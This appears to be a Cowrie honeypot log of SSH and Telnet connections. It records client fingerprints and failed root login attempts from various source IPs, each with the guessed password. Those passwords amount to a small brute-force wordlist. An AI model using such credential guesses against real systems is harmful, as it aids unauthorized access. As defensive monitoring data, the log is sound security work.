{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:40.960705Z","src_ip":"35.225.56.202","session":"275927ba8c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"boom","message":"login attempt [root/boom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:41.133488Z","src_ip":"35.225.56.202","session":"275927ba8c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41364,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5c0cae3c37d","protocol":"telnet","message":"New connection: 192.119.13.58:41364 (10.17.0.5:23) [session: f5c0cae3c37d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:42.098345Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:42.172607Z","src_ip":"35.225.56.202","session":"275927ba8c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":59154,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7f8a857c24c","protocol":"ssh","message":"New connection: 193.233.48.169:59154 (10.17.0.5:22) [session: c7f8a857c24c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:42.820286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:42.835768Z","src_ip":"193.233.48.169","session":"c7f8a857c24c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:42.959328Z","src_ip":"193.233.48.169","session":"c7f8a857c24c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45274,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad1bf66cd772","protocol":"telnet","message":"New connection: 192.119.13.58:45274 (10.17.0.5:23) [session: ad1bf66cd772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:43.112601Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@qaz","message":"login attempt [root/123@qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:43.482985Z","src_ip":"193.233.48.169","session":"c7f8a857c24c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:44.610383Z","src_ip":"193.233.48.169","session":"c7f8a857c24c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":51584,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2db0c585152","protocol":"ssh","message":"New connection: 165.154.23.26:51584 (159.203.135.109:22) [session: a2db0c585152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:48.883428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:48.888094Z","src_ip":"165.154.23.26","session":"a2db0c585152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:49.104122Z","src_ip":"165.154.23.26","session":"a2db0c585152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p4sswd","message":"login attempt [root/p4sswd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:49.995824Z","src_ip":"165.154.23.26","session":"a2db0c585152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45116,"dst_ip":"10.17.0.5","dst_port":23,"session":"21034e412c6e","protocol":"telnet","message":"New connection: 192.119.13.58:45116 (10.17.0.5:23) [session: 21034e412c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:50.652449Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:51.219895Z","src_ip":"165.154.23.26","session":"a2db0c585152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":37274,"dst_ip":"159.203.135.109","dst_port":22,"session":"593bf6ec3511","protocol":"ssh","message":"New connection: 207.56.225.202:37274 (159.203.135.109:22) [session: 593bf6ec3511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:51.689380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:51.694363Z","src_ip":"207.56.225.202","session":"593bf6ec3511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:51.858447Z","src_ip":"207.56.225.202","session":"593bf6ec3511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coach","message":"login attempt [root/coach] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:52.543770Z","src_ip":"207.56.225.202","session":"593bf6ec3511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:53.711553Z","src_ip":"207.56.225.202","session":"593bf6ec3511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":52986,"dst_ip":"159.203.135.109","dst_port":22,"session":"298e04b557d1","protocol":"ssh","message":"New connection: 92.207.4.157:52986 (159.203.135.109:22) [session: 298e04b557d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:54.129534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:54.134016Z","src_ip":"92.207.4.157","session":"298e04b557d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:54.243355Z","src_ip":"92.207.4.157","session":"298e04b557d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd!@#","message":"login attempt [root/asd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:54.719811Z","src_ip":"92.207.4.157","session":"298e04b557d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35060,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbb24fcf2be8","protocol":"telnet","message":"New connection: 192.119.13.58:35060 (10.17.0.5:23) [session: dbb24fcf2be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:55.272051Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:55.835845Z","src_ip":"92.207.4.157","session":"298e04b557d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":35810,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f0143f3e5e7","protocol":"ssh","message":"New connection: 193.228.128.84:35810 (159.203.135.109:22) [session: 3f0143f3e5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:02.521035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:02.526519Z","src_ip":"193.228.128.84","session":"3f0143f3e5e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:02.631110Z","src_ip":"193.228.128.84","session":"3f0143f3e5e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890123","message":"login attempt [root/1234567890123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:02.943639Z","src_ip":"193.228.128.84","session":"3f0143f3e5e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:04.049947Z","src_ip":"193.228.128.84","session":"3f0143f3e5e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.06497120857239,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:04.990496Z","src_ip":"192.119.13.58","session":"e01d2dde5395","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50266,"dst_ip":"10.17.0.5","dst_port":23,"session":"868790177973","protocol":"telnet","message":"New connection: 192.119.13.58:50266 (10.17.0.5:23) [session: 868790177973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:06.206873Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2b3002434e3","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: e2b3002434e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:06.797951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:06.803918Z","src_ip":"74.243.239.219","session":"e2b3002434e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:06.976743Z","src_ip":"74.243.239.219","session":"e2b3002434e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2038","message":"login attempt [root/2038] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:07.679417Z","src_ip":"74.243.239.219","session":"e2b3002434e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":37904,"dst_ip":"159.203.135.109","dst_port":22,"session":"30268e3b2dab","protocol":"ssh","message":"New connection: 37.143.61.84:37904 (159.203.135.109:22) [session: 30268e3b2dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:08.636690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:08.644920Z","src_ip":"37.143.61.84","session":"30268e3b2dab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:08.722757Z","src_ip":"37.143.61.84","session":"30268e3b2dab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:08.859504Z","src_ip":"74.243.239.219","session":"e2b3002434e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e,./","message":"login attempt [root/1q2w3e,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:09.098908Z","src_ip":"37.143.61.84","session":"30268e3b2dab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:10.204701Z","src_ip":"37.143.61.84","session":"30268e3b2dab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":36198,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b0799f5474d","protocol":"ssh","message":"New connection: 103.82.132.16:36198 (10.17.0.5:22) [session: 7b0799f5474d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:13.091234Z"}
